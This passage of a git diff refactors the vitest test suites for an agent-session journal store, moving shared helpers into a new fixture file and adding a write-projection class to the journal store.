journal_sessions').get()).toMatchObject({ - epoch: journal.epoch - }) - }) - }) - }) - - async function withJournalDatabase( - stateDirectory: string, - run: (db: Database.Database) => void - ): Promise { - const opened = openTestJournalHostDatabase(stateDirectory) - try { - run(opened.db) - } finally { - await opened.close() - } - } - - describe('what a handle found on disk when it opened', () => { - const submission = (clientMessageId: string) => ({ - clientMessageId, - payloadFingerprint: 'fp', - body: { kind: 'message' as const, role: 'user' as const, blocks: [] }, - fence: 1, - handoverRecorded: true as const - }) - - it('names rows an earlier handle wrote, and never a row of a later epoch', async () => { - const earlier = await open() - await earlier.appendItem(item(1), body('one'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await earlier.appendSubmission(submission('earlier')) - await earlier.close() - - const journal = await open() - const leftover = journal.submissions().find((entry) => entry.clientMessageId === 'earlier') - expect(journal.wroteBeforeOpen(leftover?.acceptedSequence)).toBe(true) - - await journal.resolveDispatch({ - clientMessageId: 'earlier', - state: 'unknown', - reason: 'unconfirmed from an earlier host', - fence: 1 - }) - // Epochs restart sequences, so later rows can fall below the old open cursor. - await journal.replaceEpochItems('handle_forked', 1, []) - await journal.appendSubmission(submission('later')) - const later = journal.submissions().find((entry) => entry.clientMessageId === 'later') - expect(later?.acceptedSequence).toBeLessThanOrEqual(2) - expect(journal.wroteBeforeOpen(later?.acceptedSequence)).toBe(false) - }) - }) + const fixture = createFixture() + registerJournalSequenceReplayTests(fixture) + registerJournalLifecycleBoundaryTests(fixture) } diff --git a/src/main/native-chat/agent-session-journal/journal-store.ts b/src/main/native-chat/agent-session-journal/journal-store.ts index 100b7957486..b46f2987f3c 100644 --- a/src/main/native-chat/agent-session-journal/journal-store.ts +++ b/src/main/native-chat/agent-session-journal/journal-store.ts @@ -1,5 +1,6 @@ // Each session owns its fold and queue; all statements use the host's shared database connection. +import { JournalWriteProjection } from './journal-write-projection' import type { AgentJournalDispatchRejection } from '../../../shared/agent-session-failure-words' import { randomUUID } from 'node:crypto' import { createJournalPublicReader } from './journal-public-read' @@ -22,7 +23,7 @@ import { newestStructuredAgentSessionTurnBySequence, runningStructuredAgentSessionTurnItemBySequence } from '../../../shared/structured-agent-session-live-turn' -import { readJournalSince } from './journal-cursor' +import { journalWroteBeforeOpen, readJournalSince } from './journal-cursor' import type { JournalHostDatabase } from './journal-host-database' import { journalRowsAfterReader } from './journal-open' import { @@ -31,7 +32,6 @@ import { rejectJournalQueuedSubmissions } from './journal-pending-submission-recovery' import { - applyJournalRow, createJournalReducerState, resolveJournalItemId, type JournalReducerState @@ -65,8 +65,6 @@ export class AgentSessionJournal { private readonly goalAttachments: JournalCollaborators['goalAttachments'] private readonly identity: AgentSessionJournalIdentity private readonly database: JournalHostDatabase - private readonly now: () => number - private readonly mintEpoch: () => string private state: JournalReducerState private readonly readPublic = createJournalPublicReader() @@ -81,6 +79,7 @@ export class AgentSessionJournal { private readonly submissionWriter: JournalCollaborators['submissionWriter'] private readonly stepWriter: JournalCollaborators['stepWriter'] private readonly restore: () => Promise + private readonly projection: JournalWriteProjection /** Queued cards never count as owed work. */ readonly queuedMessages: JournalCollaborators['queuedMessages'] readonly stopMarks: JournalCollaborators['stopMarks'] @@ -90,14 +89,19 @@ export class AgentSessionJournal { constructor(options: AgentSessionJournalOptions) { this.identity = options.identity this.database = options.database - this.now = options.now ?? (() => Date.now()) - this.mintEpoch = options.mintEpoch ?? randomUUID this.state = createJournalReducerState(options.identity.sessionId, '') this.queue = new JournalWriteQueue(options.identity.sessionId) + this.projection = new JournalWriteProjection({ + database: this.database, + state: () => this.state, + adopt: (state) => { + this.state = state + } + }) const collaborators = createJournalStoreCollaborators({ identity: this.identity, - now: this.now, - mintEpoch: this.mintEpoch, + now: options.now ?? (() => Date.now()), + mintEpoch: options.mintEpoch ?? randomUUID, serialize: (run) => this.queue.serialize(run), database: () => this.database, state: () => this.state, @@ -107,11 +111,10 @@ export class AgentSessionJournal { this.state = loaded.state this.onCommitted?.() }, - commit: (rows, savedAt) => { - for (const row of rows) { - applyJournalRow(this.state, row, savedAt) - } + prepare: (db, rows, savedAt) => this.projection.prepare(db, rows, savedAt), + commit: (rows) => { this.onCommitted?.(rows) + this.projection.verify() }, notifyCommitted: () => this.onCommitted?.([]), journal: () => this, @@ -141,11 +144,7 @@ export class AgentSessionJournal { /** Only rows from this handle's opening epoch can predate the open. */ wroteBeforeOpen(sequence: number | undefined): boolean { - return ( - sequence !== undefined && - this.state.epoch === this.openedThrough.epoch && - sequence <= this.openedThrough.sequence - ) + return journalWroteBeforeOpen(this.state, this.openedThrough, sequence) } /** Fallback reopen boundary until its mark is written; each new handle marks again. */ diff --git a/src/main/native-chat/agent-session-journal/journal-streamed-revision-contract-test-fixture.ts b/src/main/native-chat/agent-session-journal/journal-streamed-revision-contract-test-fixture.ts new file mode 100644 index 00000000000..60aa6928d8b --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-streamed-revision-contract-test-fixture.ts @@ -0,0 +1,78 @@ +import { mkdtemp, rm, mkdir, writeFile } from 'node:fs/promises' +import { randomUUID } from 'node:crypto' +import { tmpdir } from 'node:os' +import { join, dirname } from 'node:path' +import { afterEach, beforeEach, vi } from 'vitest' +import type { AgentJournalMessageItem } from '../../../shared/agent-session-journal-types' +import { journalPragmaNumber } from './journal-database' +import { + closeTestJournalHostDatabases, + createTrackedJournalOpener, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { formatNativeChatFileReference } from '../../../shared/agent-image-paste' +import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' + +export const journals = createTrackedJournalOpener({ legacyInputs: true }) + +let root: string + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-streamed-revision-')) +}) + +afterEach(async () => { + vi.restoreAllMocks() + await journals.closeAll() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +export const text = (role: 'assistant' | 'user', value: string): AgentJournalMessageItem => ({ + kind: 'message', + role, + blocks: [{ type: 'text', text: value }] +}) + +export function openJournal(sessionId = 'stream') { + return journals.open({ + stateDirectory: root, + identity: { + sessionId, + workspaceId: 'folder', + hostId: 'local', + agent: 'grok', + providerHandle: null + } + }) +} + +export function commitLevels() { + const { db } = openTestJournalHostDatabase(root) + const levels: number[] = [] + const exec = db.exec.bind(db) + vi.spyOn(db, 'exec').mockImplementation((sql) => { + if (sql === 'COMMIT') { + levels.push(journalPragmaNumber(db, 'synchronous')) + } + exec(sql) + }) + return levels +} + +export async function uploadedInput() { + const id = randomUUID() + const path = join(attachmentReferences.agentSessionAttachmentStoreRoot(root), id, 'source.txt') + await mkdir(dirname(path), { recursive: true }) + await writeFile(path, 'retained input') + return { id, body: text('user', formatNativeChatFileReference(path)) } +} + +export const fixture = { + get root() { + return root + }, + set root(value: typeof root) { + root = value + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-streamed-revision-resolved-lifecycle.test.ts b/src/main/native-chat/agent-session-journal/journal-streamed-revision-resolved-lifecycle.test.ts new file mode 100644 index 00000000000..368cd08aa7e --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-streamed-revision-resolved-lifecycle.test.ts @@ -0,0 +1,238 @@ +import { expect, it, vi } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { openTestJournalHostDatabase } from './journal-host-database-test-support' +import { JournalGoalAttachmentInverse } from './journal-goal-attachment-inverse' +import type { JournalOperationReceipt } from './journal-row-writer' +import { MAX_JOURNAL_LIFECYCLE_BATCH_BYTES } from './journal-row-schema' +import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' + +import { + fixture, + commitLevels, + openJournal, + text, + uploadedInput +} from './journal-streamed-revision-contract-test-fixture' + +it('resolves/builds once after preceding writes and preserves actual output and external receipt durability', async () => { + const journal = await openJournal() + const identity = { provider: 'orca' as const, clientMessageId: 'dynamic' } + let release = () => {} + const barrier = new Promise((resolve) => { + release = resolve + }) + const held = journal.readInOrder(() => barrier) + const levels = commitLevels() + const preceding = journal.appendItem(identity, text('assistant', 'first'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const resolve = vi.fn(() => { + expect(journal.snapshot().items[0]?.body).toEqual(text('assistant', 'first')) + return { identity, body: text('assistant', 'second') } + }) + const following = journal.appendResolvedItem(resolve, { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + release() + await Promise.all([held, preceding, following]) + expect(resolve).toHaveBeenCalledTimes(1) + expect(levels).toEqual([2, 1]) + levels.length = 0 + const empty = vi.fn(() => null) + expect( + await journal.appendResolvedItem(empty, { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + ).toBeNull() + expect(empty).toHaveBeenCalledTimes(1) + expect(levels).toEqual([]) + + const { db } = openTestJournalHostDatabase(fixture.root) + db.exec('CREATE TABLE receipt_fact (sequence INTEGER)') + const write = vi.fn((connection, row) => { + if (!row) { + throw new Error('missing receipt target') + } + connection.prepare('INSERT INTO receipt_fact VALUES (?)').run(row.seq) + }) + const committed = vi.fn(() => + expect(db.prepare('SELECT sequence FROM receipt_fact').all()).toHaveLength(1) + ) + const result = await journal.appendItem( + identity, + text('assistant', 'durable receipt'), + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }, + { write, committed } + ) + expect(levels).toEqual([2]) + expect(db.prepare('SELECT sequence FROM receipt_fact').get()?.sequence).toBe( + result.cursor.sequence + ) + expect(write).toHaveBeenCalledTimes(1) + expect(committed).toHaveBeenCalledTimes(1) + const huge = 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES) + for (const mode of ['ordinary', 'planned', 'step'] as const) { + const body = text('assistant', `${huge}${mode}`) + const plan = vi.fn(() => [ + { kind: 'item' as const, identity, body, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ]) + levels.length = 0 + if (mode === 'ordinary') { + await journal.appendLifecycleBatch({ settlementId: mode, fence: 1, mutations: plan() }) + } + if (mode === 'planned') { + await journal.appendPlannedLifecycleBatch({ + settlementId: mode, + fence: 1, + plan: () => ({ mutations: plan(), dispatches: [] }) + }) + } + if (mode === 'step') { + await journal.appendSteps([ + { kind: 'settlement', batch: { settlementId: mode, fence: 1, resolve: plan } } + ]) + } + expect(plan).toHaveBeenCalledTimes(1) + expect(levels).toEqual([1]) + expect(journal.snapshot().items[0]?.body).toEqual(body) + } + levels.length = 0 + expect( + await journal.appendSteps([ + { + kind: 'item', + resolve: () => null, + options: { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + } + ]) + ).toEqual([false]) + await journal.appendPlannedLifecycleBatch({ + settlementId: 'empty', + fence: 1, + plan: () => ({ mutations: [], dispatches: [] }) + }) + expect(levels).toEqual([]) + await journal.appendLifecycleBatch({ + settlementId: 'envelope', + fence: 1, + mutations: [ + { + kind: 'item', + identity, + body: text('assistant', 'settled'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ] + }) + expect(levels).toEqual([2]) +}) + +it.each([1, 10])( + 'protects %i actual independent inputs per writer without visiting prior history', + async (count) => { + const journal = await openJournal() + const other = await openJournal('other') + for (let n = 0; n < 10 * count; n++) { + const identity = { provider: 'orca' as const, clientMessageId: `old-${n}` } + await journal.appendItem(identity, text('user', 'old'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await other.appendItem(identity, text('user', 'unrelated'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + } + const { db } = openTestJournalHostDatabase(fixture.root) + const insertion = vi.spyOn( + db.prepare( + 'INSERT OR IGNORE INTO agent_session_attachment_claims (upload_id, session_id, claimed_at) VALUES (?, ?, ?)' + ), + 'run' + ) + const extraction = vi.spyOn(attachmentReferences, 'agentSessionAttachmentReferences') + const acquired = vi.spyOn(JournalGoalAttachmentInverse.prototype, 'acquired') + const levels = commitLevels() + for (const writer of [ + 'direct', + 'resolved', + 'step', + 'batch', + 'planned', + 'submission', + 'queue' + ] as const) { + insertion.mockClear() + extraction.mockClear() + acquired.mockClear() + levels.length = 0 + for (let n = 0; n < count; n++) { + const { id, body } = await uploadedInput() + const identity = { provider: 'orca' as const, clientMessageId: `${writer}-${n}` } + const resolve = vi.fn(() => ({ identity, body })) + if (writer === 'direct') { + await journal.appendItem(identity, body, { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + } + if (writer === 'resolved') { + await journal.appendResolvedItem(resolve, { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + expect(resolve).toHaveBeenCalledTimes(1) + } + if (writer === 'step') { + await journal.appendSteps([ + { kind: 'item', resolve, options: { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } } + ]) + expect(resolve).toHaveBeenCalledTimes(1) + } + if (writer === 'batch') { + await journal.appendLifecycleBatch({ + settlementId: identity.clientMessageId, + fence: 1, + mutations: [{ kind: 'item', identity, body, turnScope: AGENT_JOURNAL_THREAD_SCOPE }] + }) + } + if (writer === 'planned') { + await journal.appendPlannedLifecycleBatch({ + settlementId: identity.clientMessageId, + fence: 1, + plan: () => ({ + mutations: [{ kind: 'item', identity, body, turnScope: AGENT_JOURNAL_THREAD_SCOPE }], + dispatches: [] + }) + }) + } + if (writer === 'submission') { + await journal.appendSubmission({ + clientMessageId: identity.clientMessageId, + payloadFingerprint: 'fp', + body, + fence: 1, + origin: 'host' + }) + } + if (writer === 'queue') { + await journal.queuedMessages.insert({ messageId: identity.clientMessageId, body }) + } + expect( + db + .prepare( + 'SELECT upload_id FROM agent_session_attachment_claims WHERE upload_id = ? AND session_id = ?' + ) + .all(id, 'stream') + ).toHaveLength(1) + } + expect(insertion).toHaveBeenCalledTimes(count) + expect(extraction).toHaveBeenCalledTimes(count) + expect(acquired).toHaveBeenCalledTimes(count) + expect(levels).toEqual(Array(count).fill(2)) + process.stdout.write( + `pr34654-input-contract ${JSON.stringify({ writer, count, old: 10 * count, extractions: extraction.mock.calls.length, insertions: insertion.mock.calls.length, acquired: acquired.mock.calls.length })}\n` + ) + } + } +) diff --git a/src/main/native-chat/agent-session-journal/journal-streamed-text-revision.test.ts b/src/main/native-chat/agent-session-journal/journal-streamed-text-revision.test.ts index 9c6911fcc9d..826a480b6f3 100644 --- a/src/main/native-chat/agent-session-journal/journal-streamed-text-revision.test.ts +++ b/src/main/native-chat/agent-session-journal/journal-streamed-text-revision.test.ts @@ -1,50 +1,26 @@ -import { mkdtemp, rm, mkdir, writeFile } from 'node:fs/promises' -import { randomUUID } from 'node:crypto' -import { tmpdir } from 'node:os' -import { join, dirname } from 'node:path' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import type { AgentJournalMessageItem } from '../../../shared/agent-session-journal-types' +import { expect, it, vi } from 'vitest' import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import { codexImageItemBody } from '../../codex/codex-image-item-translation' import { journalPragmaNumber } from './journal-database' -import { - closeTestJournalHostDatabases, - createTrackedJournalOpener, - openTestJournalHostDatabase -} from './journal-host-database-test-support' +import { openTestJournalHostDatabase } from './journal-host-database-test-support' import { openAgentSessionJournal } from './journal-store-factory' - import { createDeferredStructuredAgentSessionEventSink } from '../agent-session-wire/structured-agent-session-event-sink' import { testEventSinkLogging } from '../agent-session-wire/structured-agent-session-logger-test-support' import { createProviderTimelineAssembler } from '../agent-session-timeline/provider-timeline-assembler' import { providerTimelineSink } from '../agent-session-timeline/provider-timeline-plan' -import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' import { JournalGoalAttachmentInverse } from './journal-goal-attachment-inverse' -import { formatNativeChatFileReference } from '../../../shared/agent-image-paste' -import type { JournalOperationReceipt } from './journal-row-writer' -import { MAX_JOURNAL_LIFECYCLE_BATCH_BYTES } from './journal-row-schema' +import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' -const journals = createTrackedJournalOpener() -let root: string - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-streamed-revision-')) -}) -afterEach(async () => { - vi.restoreAllMocks() - await journals.closeAll() - await closeTestJournalHostDatabases() - await rm(root, { recursive: true, force: true }) -}) - -const text = (role: 'assistant' | 'user', value: string): AgentJournalMessageItem => ({ - kind: 'message', - role, - blocks: [{ type: 'text', text: value }] -}) +import { + fixture, + commitLevels, + openJournal, + text, + uploadedInput +} from './journal-streamed-revision-contract-test-fixture' it('keeps image and goal transitions FULL, streams text at NORMAL, and restores FULL', async () => { - const database = openTestJournalHostDatabase(root) + const database = openTestJournalHostDatabase(fixture.root) const levels: number[] = [] database.transaction((db) => levels.push(journalPragmaNumber(db, 'synchronous')), true) levels.push(journalPragmaNumber(database.db, 'synchronous')) @@ -121,7 +97,7 @@ it('keeps image and goal transitions FULL, streams text at NORMAL, and restores turnScope: AGENT_JOURNAL_THREAD_SCOPE }) database.db.exec( - "CREATE TRIGGER reject_stream BEFORE INSERT ON journal_rows BEGIN SELECT RAISE(ABORT, 'stream insert failed'); END" + "CREATE TRIGGER reject_stream BEFORE INSERT ON journal_outcomes BEGIN SELECT RAISE(ABORT, 'stream insert failed'); END" ) await expect( journal.appendSteps([ @@ -146,40 +122,6 @@ it('keeps image and goal transitions FULL, streams text at NORMAL, and restores await journal.close() }) -function openJournal(sessionId = 'stream') { - return journals.open({ - stateDirectory: root, - identity: { - sessionId, - workspaceId: 'folder', - hostId: 'local', - agent: 'grok', - providerHandle: null - } - }) -} - -function commitLevels() { - const { db } = openTestJournalHostDatabase(root) - const levels: number[] = [] - const exec = db.exec.bind(db) - vi.spyOn(db, 'exec').mockImplementation((sql) => { - if (sql === 'COMMIT') { - levels.push(journalPragmaNumber(db, 'synchronous')) - } - exec(sql) - }) - return levels -} - -async function uploadedInput() { - const id = randomUUID() - const path = join(attachmentReferences.agentSessionAttachmentStoreRoot(root), id, 'source.txt') - await mkdir(dirname(path), { recursive: true }) - await writeFile(path, 'retained input') - return { id, body: text('user', formatNativeChatFileReference(path)) } -} - it.each([1, 10])( 'commits %i real assembler windows at NORMAL with no attachment effects', async (count) => { @@ -234,7 +176,9 @@ it.each([1, 10])( expect(journal.snapshot().items[0]?.body).toEqual( text('assistant', 'hello '.repeat(count + 1)) ) - expect(journalPragmaNumber(openTestJournalHostDatabase(root).db, 'synchronous')).toBe(2) + expect(journalPragmaNumber(openTestJournalHostDatabase(fixture.root).db, 'synchronous')).toBe( + 2 + ) process.stdout.write( `pr34654-stream-contract ${JSON.stringify({ count, levels, extractions: extraction.mock.calls.length, acquired: acquired.mock.calls.length })}\n` ) @@ -259,226 +203,3 @@ it.each([1, 10])( } } ) - -it('resolves/builds once after preceding writes and preserves actual output and external receipt durability', async () => { - const journal = await openJournal() - const identity = { provider: 'orca' as const, clientMessageId: 'dynamic' } - let release = () => {} - const barrier = new Promise((resolve) => { - release = resolve - }) - const held = journal.readInOrder(() => barrier) - const levels = commitLevels() - const preceding = journal.appendItem(identity, text('assistant', 'first'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - const resolve = vi.fn(() => { - expect(journal.snapshot().items[0]?.body).toEqual(text('assistant', 'first')) - return { identity, body: text('assistant', 'second') } - }) - const following = journal.appendResolvedItem(resolve, { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - release() - await Promise.all([held, preceding, following]) - expect(resolve).toHaveBeenCalledTimes(1) - expect(levels).toEqual([2, 1]) - levels.length = 0 - const empty = vi.fn(() => null) - expect( - await journal.appendResolvedItem(empty, { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - ).toBeNull() - expect(empty).toHaveBeenCalledTimes(1) - expect(levels).toEqual([]) - - const { db } = openTestJournalHostDatabase(root) - db.exec('CREATE TABLE receipt_fact (sequence INTEGER)') - const write = vi.fn((connection, row) => { - if (!row) { - throw new Error('missing receipt target') - } - connection.prepare('INSERT INTO receipt_fact VALUES (?)').run(row.seq) - }) - const committed = vi.fn(() => - expect(db.prepare('SELECT sequence FROM receipt_fact').all()).toHaveLength(1) - ) - const result = await journal.appendItem( - identity, - text('assistant', 'durable receipt'), - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }, - { write, committed } - ) - expect(levels).toEqual([2]) - expect(db.prepare('SELECT sequence FROM receipt_fact').get()?.sequence).toBe( - result.cursor.sequence - ) - expect(write).toHaveBeenCalledTimes(1) - expect(committed).toHaveBeenCalledTimes(1) - const huge = 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES) - for (const mode of ['ordinary', 'planned', 'step'] as const) { - const body = text('assistant', `${huge}${mode}`) - const plan = vi.fn(() => [ - { kind: 'item' as const, identity, body, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ]) - levels.length = 0 - if (mode === 'ordinary') { - await journal.appendLifecycleBatch({ settlementId: mode, fence: 1, mutations: plan() }) - } - if (mode === 'planned') { - await journal.appendPlannedLifecycleBatch({ - settlementId: mode, - fence: 1, - plan: () => ({ mutations: plan(), dispatches: [] }) - }) - } - if (mode === 'step') { - await journal.appendSteps([ - { kind: 'settlement', batch: { settlementId: mode, fence: 1, resolve: plan } } - ]) - } - expect(plan).toHaveBeenCalledTimes(1) - expect(levels).toEqual([1]) - expect(journal.snapshot().items[0]?.body).toEqual(body) - } - levels.length = 0 - expect( - await journal.appendSteps([ - { - kind: 'item', - resolve: () => null, - options: { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - } - ]) - ).toEqual([false]) - await journal.appendPlannedLifecycleBatch({ - settlementId: 'empty', - fence: 1, - plan: () => ({ mutations: [], dispatches: [] }) - }) - expect(levels).toEqual([]) - await journal.appendLifecycleBatch({ - settlementId: 'envelope', - fence: 1, - mutations: [ - { - kind: 'item', - identity, - body: text('assistant', 'settled'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ] - }) - expect(levels).toEqual([2]) -}) - -it.each([1, 10])( - 'protects %i actual independent inputs per writer without visiting prior history', - async (count) => { - const journal = await openJournal() - const other = await openJournal('other') - for (let n = 0; n < 10 * count; n++) { - const identity = { provider: 'orca' as const, clientMessageId: `old-${n}` } - await journal.appendItem(identity, text('user', 'old'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await other.appendItem(identity, text('user', 'unrelated'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - } - const { db } = openTestJournalHostDatabase(root) - const insertion = vi.spyOn( - db.prepare( - 'INSERT OR IGNORE INTO agent_session_attachment_claims (upload_id, session_id, claimed_at) VALUES (?, ?, ?)' - ), - 'run' - ) - const extraction = vi.spyOn(attachmentReferences, 'agentSessionAttachmentReferences') - const acquired = vi.spyOn(JournalGoalAttachmentInverse.prototype, 'acquired') - const levels = commitLevels() - for (const writer of [ - 'direct', - 'resolved', - 'step', - 'batch', - 'planned', - 'submission', - 'queue' - ] as const) { - insertion.mockClear() - extraction.mockClear() - acquired.mockClear() - levels.length = 0 - for (let n = 0; n < count; n++) { - const { id, body } = await uploadedInput() - const identity = { provider: 'orca' as const, clientMessageId: `${writer}-${n}` } - const resolve = vi.fn(() => ({ identity, body })) - if (writer === 'direct') { - await journal.appendItem(identity, body, { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - } - if (writer === 'resolved') { - await journal.appendResolvedItem(resolve, { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect(resolve).toHaveBeenCalledTimes(1) - } - if (writer === 'step') { - await journal.appendSteps([ - { kind: 'item', resolve, options: { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } } - ]) - expect(resolve).toHaveBeenCalledTimes(1) - } - if (writer === 'batch') { - await journal.appendLifecycleBatch({ - settlementId: identity.clientMessageId, - fence: 1, - mutations: [{ kind: 'item', identity, body, turnScope: AGENT_JOURNAL_THREAD_SCOPE }] - }) - } - if (writer === 'planned') { - await journal.appendPlannedLifecycleBatch({ - settlementId: identity.clientMessageId, - fence: 1, - plan: () => ({ - mutations: [{ kind: 'item', identity, body, turnScope: AGENT_JOURNAL_THREAD_SCOPE }], - dispatches: [] - }) - }) - } - if (writer === 'submission') { - await journal.appendSubmission({ - clientMessageId: identity.clientMessageId, - payloadFingerprint: 'fp', - body, - fence: 1, - origin: 'host' - }) - } - if (writer === 'queue') { - await journal.queuedMessages.insert({ messageId: identity.clientMessageId, body }) - } - expect( - db - .prepare( - 'SELECT upload_id FROM agent_session_attachment_claims WHERE upload_id = ? AND session_id = ?' - ) - .all(id, 'stream') - ).toHaveLength(1) - } - expect(insertion).toHaveBeenCalledTimes(count) - expect(extraction).toHaveBeenCalledTimes(count) - expect(acquired).toHaveBeenCalledTimes(count) - expect(levels).toEqual(Array(count).fill(2)) - process.stdout.write( - `pr34654-input-contract ${JSON.stringify({ writer, count, old: 10 * count, extractions: extraction.mock.calls.length, insertions: insertion.mock.calls.length, acquired: acquired.mock.calls.length })}\n` - ) - } - } -) diff --git a/src/main/native-chat/agent-session-journal/journal-terminal-settlement-validation.spec.ts b/src/main/native-chat/agent-session-journal/journal-terminal-settlement-validation.spec.ts index ceb85ed1f50..e4ee0d11e88 100644 --- a/src/main/native-chat/agent-session-journal/journal-terminal-settlement-validation.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-terminal-settlement-validation.spec.ts @@ -1,402 +1,9 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' -import { AgentJournalItemBodySchema } from '../../../shared/agent-session-journal-schemas' -import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' -import { settleStaleStructuredAgentSessionState } from '../agent-session-wire/structured-agent-session-dead-generation-settlement' -import { - createTrackedJournalOpener, - insertTestJournalRowJson, - liveTestJournalRows, - openTestJournalHostDatabase -} from './journal-host-database-test-support' -import { parseJournalRow, type JournalRow } from './journal-row-schema' -import * as rowTable from './journal-row-table' -import type { AgentSessionJournal } from './journal-store' +import { createFixture } from './journal-terminal-validation-test-fixture' +import { registerJournalTerminalTimeValidationTests } from './journal-terminal-time-validation.spec' +import { registerJournalApprovalRevisionValidationTests } from './journal-approval-revision-validation.spec' export function registerJournalTerminalSettlementValidationTests(): void { - const journals = createTrackedJournalOpener() - let root: string - let journal: AgentSessionJournal - const identity = { provider: 'orca' as const, clientMessageId: 'old-turn' } - - async function open() { - return journals.open({ - identity: { - sessionId: 'validation', - workspaceId: 'folder', - hostId: 'host', - agent: 'codex', - providerHandle: codexProviderHandle('thread') - }, - stateDirectory: root, - now: () => 1_000 - }) - } - - beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-settlement-validation-')) - journal = await open() - }) - - afterEach(async () => { - vi.restoreAllMocks() - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - }) - - function settle(observedAt = 1_000, lastProvenAliveAt?: number) { - return settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'validation', - fence: 8, - acquisitionGeneration: 'replacement', - deathEvidence: { - kind: lastProvenAliveAt === undefined ? 'exit-observed' : 'pid-absent', - detail: '', - ownerFence: 7, - observedAt, - ...(lastProvenAliveAt === undefined ? {} : { lastProvenAliveAt }) - } - }) - } - - async function expectSendStillWritable() { - const sequence = journal.cursor().sequence + 1 - await expect( - journal.appendSubmission({ - clientMessageId: 'new-send', - payloadFingerprint: 'new', - fence: 8, - body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'hello' }] } - }) - ).resolves.toMatchObject({ sequence }) - } - - async function saveOldItems(inputs: { itemId: string; revision?: number; body: unknown }[]) { - const { db } = openTestJournalHostDatabase(root) - for (const [index, input] of inputs.entries()) { - const json = JSON.stringify({ - v: 3, - kind: 'item', - epoch: journal.epoch, - seq: index + 2, - ts: 900, - fence: 7, - revision: 1, - ...input, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect(parseJournalRow(json).ok).toBe(true) - insertTestJournalRowJson(db, 'validation', index + 2, json, 900) - } - await journal.close() - journal = await open() - } - - it.each([ - ['zero exit time', 0, undefined], - ['zero renewal time', 1_000, 0] - ] as const)( - 'ends an untimed turn with %s and still permits a fresh send', - async (_name, observedAt, lastProvenAliveAt) => { - await journal.appendItem( - identity, - { kind: 'turn', turnId: 'old', state: 'running' }, - { - fence: 7, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - await settle(observedAt, lastProvenAliveAt) - expect(journal.itemBody(agentJournalItemKey(identity))).toEqual({ - kind: 'turn', - turnId: 'old', - state: 'interrupted' - }) - expect(journal.runningTurn()?.turnId ?? null).toBeNull() - const ended = journal.snapshot() - await settle(observedAt, lastProvenAliveAt) - expect(journal.snapshot()).toEqual(ended) - await expectSendStillWritable() - } - ) - - it.each([{ kind: 'tool-call' }, { providerTurnId: '' }])( - 'ends a readable legacy extension %j using a valid turn rewrite', - async (extension) => { - await saveOldItems([ - { - itemId: agentJournalItemKey(identity), - body: { - kind: 'status', - text: 'working', - turnLifecycle: { turnId: 'old', state: 'running', ...extension } - } - } - ]) - await settle() - expect(journal.itemBody(agentJournalItemKey(identity))).toEqual({ - kind: 'turn', - turnId: 'old', - state: 'interrupted', - completedAt: 1_000 - }) - expect(journal.runningTurn()?.turnId ?? null).toBeNull() - await expectSendStillWritable() - } - ) - - it.each([Number.MAX_SAFE_INTEGER + 1, 1e100])( - 'leaves exhausted saved revision %s untouched while other work commits once and a fresh send writes', - async (revision) => { - 